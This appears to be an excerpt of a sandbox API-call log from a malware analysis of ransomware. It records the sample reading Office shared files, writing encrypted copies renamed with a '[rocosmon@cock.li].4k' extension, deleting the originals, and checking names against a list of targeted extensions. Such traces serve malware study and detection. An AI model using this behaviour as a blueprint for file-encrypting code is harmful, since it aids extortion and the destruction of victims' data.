	[0101.008] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8564) returned 1
	[0101.008] CloseHandle (hObject=0x184) returned 1
	[0101.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20
	[0101.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.008] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.008] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0101.009] GetLastError () returned 0x0
	[0101.009] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x2174, lpOverlapped=0x0) returned 1
	[0101.019] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2180, lpOverlapped=0x0) returned 1
	[0101.020] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.020] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0101.021] SetEndOfFile (hFile=0x210) returned 1
	[0101.021] CloseHandle (hObject=0x210) returned 1
	[0101.021] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.021] SetEndOfFile (hFile=0x184) returned 1
	[0101.022] CloseHandle (hObject=0x184) returned 1
	[0101.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1
	[0101.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.023] lstrlenW (lpString=".doc") returned 4
	[0101.023] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.023] lstrlenW (lpString=".docx") returned 5
	[0101.023] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0101.023] lstrlenW (lpString=".pdf") returned 4
	[0101.023] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.023] lstrlenW (lpString=".xls") returned 4
	[0101.023] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.023] lstrlenW (lpString=".xlsx") returned 5
	[0101.023] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0101.023] lstrlenW (lpString=".ppt") returned 4
	[0101.023] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.023] lstrlenW (lpString=".zip") returned 4
	[0101.024] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.024] lstrlenW (lpString=".rar") returned 4
	[0101.024] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString=".bz2") returned 4
	[0101.024] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString=".7z") returned 3
	[0101.024] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.024] lstrlenW (lpString=".dbf") returned 4
	[0101.024] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.024] lstrlenW (lpString=".1cd") returned 4
	[0101.024] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.024] lstrlenW (lpString=".jpg") returned 4
	[0101.024] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.024] lstrlenW (lpString=".doc") returned 4
	[0101.024] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString=".docx") returned 5
	[0101.024] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0101.024] lstrlenW (lpString=".pdf") returned 4
	[0101.024] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString=".xls") returned 4
	[0101.024] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.024] lstrlenW (lpString=".xlsx") returned 5
	[0101.025] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0101.025] lstrlenW (lpString=".ppt") returned 4
	[0101.025] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.025] lstrlenW (lpString=".zip") returned 4
	[0101.025] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.025] lstrlenW (lpString=".rar") returned 4
	[0101.025] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.025] lstrlenW (lpString=".bz2") returned 4
	[0101.025] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.025] lstrlenW (lpString=".7z") returned 3
	[0101.025] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.025] lstrlenW (lpString=".dbf") returned 4
	[0101.025] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.025] lstrlenW (lpString=".1cd") returned 4
	[0101.025] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0101.025] lstrlenW (lpString=".jpg") returned 4
	[0101.025] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.025] lstrcmpiW (lpString1=".XSL", lpString2=".4k") returned 1
	[0101.025] lstrlenW (lpString="BASMLA.XSL") returned 10
	[0101.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.026] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=227311) returned 1
	[0101.026] CloseHandle (hObject=0x184) returned 1
	[0101.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20
	[0101.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.031] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.031] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0101.031] GetLastError () returned 0x0
	[0101.031] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x377ef, lpOverlapped=0x0) returned 1
	[0101.059] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x377f0, lpOverlapped=0x0) returned 1
	[0101.063] ReadFile (in: hFile=0x184, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.063] WriteFile (in: hFile=0x210, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0101.063] SetEndOfFile (hFile=0x210) returned 1
	[0101.064] CloseHandle (hObject=0x210) returned 1
	[0101.064] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.064] SetEndOfFile (hFile=0x184) returned 1
	[0101.067] CloseHandle (hObject=0x184) returned 1
	[0101.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1
	[0101.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.068] lstrlenW (lpString=".doc") returned 4
	[0101.068] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString=".docx") returned 5
	[0101.068] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1
	[0101.068] lstrlenW (lpString=".pdf") returned 4
	[0101.068] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString=".xls") returned 4
	[0101.068] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString=".xlsx") returned 5
	[0101.068] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1
	[0101.068] lstrlenW (lpString=".ppt") returned 4
	[0101.068] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.068] lstrlenW (lpString=".zip") returned 4
	[0101.068] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1
	[0101.068] lstrlenW (lpString=".rar") returned 4
	[0101.068] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString=".bz2") returned 4
	[0101.068] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString=".7z") returned 3
	[0101.068] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1
	[0101.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.068] lstrlenW (lpString=".dbf") returned 4
	[0101.068] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1
	[0101.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.068] lstrlenW (lpString=".1cd") returned 4
	[0101.068] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.069] lstrlenW (lpString=".jpg") returned 4
	[0101.069] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.069] lstrlenW (lpString=".doc") returned 4
	[0101.069] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString=".docx") returned 5
	[0101.069] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1
	[0101.069] lstrlenW (lpString=".pdf") returned 4
	[0101.069] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString=".xls") returned 4
	[0101.069] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString=".xlsx") returned 5
	[0101.069] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1
	[0101.069] lstrlenW (lpString=".ppt") returned 4
	[0101.069] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.069] lstrlenW (lpString=".zip") returned 4
	[0101.069] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1
	[0101.069] lstrlenW (lpString=".rar") returned 4
	[0101.069] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString=".bz2") returned 4
	[0101.069] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1
	[0101.069] lstrlenW (lpString=".7z") returned 3
	[0101.069] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1
	[0101.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.069] lstrlenW (lpString=".dbf") returned 4
	[0101.070] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1
	[0101.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.070] lstrlenW (lpString=".1cd") returned 4
	[0101.070] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1
	[0101.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0101.070] lstrlenW (lpString=".jpg") returned 4
	[0101.070] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1
	[0101.070] lstrcmpiW (lpString1=".htm", lpString2=".4k") returned 1
	[0101.070] lstrlenW (lpString="Bears.htm") returned 9
	[0101.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.088] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=255) returned 1
	[0101.089] CloseHandle (hObject=0x184) returned 1
	[0101.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20
	[0101.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.089] lstrlenW (lpString=".doc") returned 4
	[0101.089] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.089] lstrlenW (lpString=".docx") returned 5
	[0101.089] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0101.089] lstrlenW (lpString=".pdf") returned 4
	[0101.089] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.089] lstrlenW (lpString=".xls") returned 4
	[0101.089] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.089] lstrlenW (lpString=".xlsx") returned 5
	[0101.089] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0101.089] lstrlenW (lpString=".ppt") returned 4
	[0101.089] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.089] lstrlenW (lpString=".zip") returned 4
	[0101.089] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.089] lstrlenW (lpString=".rar") returned 4
	[0101.090] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.090] lstrlenW (lpString=".bz2") returned 4
	[0101.090] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.090] lstrlenW (lpString=".7z") returned 3
	[0101.090] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.090] lstrlenW (lpString=".dbf") returned 4
	[0101.090] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.090] lstrlenW (lpString=".1cd") returned 4
	[0101.090] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.090] lstrlenW (lpString=".jpg") returned 4
	[0101.090] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.090] lstrlenW (lpString=".doc") returned 4
	[0101.090] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.090] lstrlenW (lpString=".docx") returned 5
	[0101.090] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0101.090] lstrlenW (lpString=".pdf") returned 4
	[0101.090] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.090] lstrlenW (lpString=".xls") returned 4
	[0101.090] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.090] lstrlenW (lpString=".xlsx") returned 5
	[0101.090] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0101.090] lstrlenW (lpString=".ppt") returned 4
	[0101.091] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.091] lstrlenW (lpString=".zip") returned 4
	[0101.091] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.091] lstrlenW (lpString=".rar") returned 4
	[0101.091] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.091] lstrlenW (lpString=".bz2") returned 4
	[0101.091] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.091] lstrlenW (lpString=".7z") returned 3
	[0101.091] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.091] lstrlenW (lpString=".dbf") returned 4
	[0101.091] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.091] lstrlenW (lpString=".1cd") returned 4
	[0101.091] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0101.091] lstrlenW (lpString=".jpg") returned 4
	[0101.091] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.091] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0101.091] lstrlenW (lpString="Bears.jpg") returned 9
	[0101.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.092] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1074) returned 1
	[0101.092] CloseHandle (hObject=0x184) returned 1
	[0101.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20
	[0101.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.092] lstrlenW (lpString=".doc") returned 4
	[0101.092] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.092] lstrlenW (lpString=".docx") returned 5
	[0101.092] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0101.092] lstrlenW (lpString=".pdf") returned 4
	[0101.092] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.092] lstrlenW (lpString=".xls") returned 4
	[0101.092] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.093] lstrlenW (lpString=".xlsx") returned 5
	[0101.093] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0101.093] lstrlenW (lpString=".ppt") returned 4
	[0101.093] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.093] lstrlenW (lpString=".zip") returned 4
	[0101.093] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.093] lstrlenW (lpString=".rar") returned 4
	[0101.093] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.093] lstrlenW (lpString=".bz2") returned 4
	[0101.093] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.093] lstrlenW (lpString=".7z") returned 3
	[0101.093] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.093] lstrlenW (lpString=".dbf") returned 4
	[0101.093] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
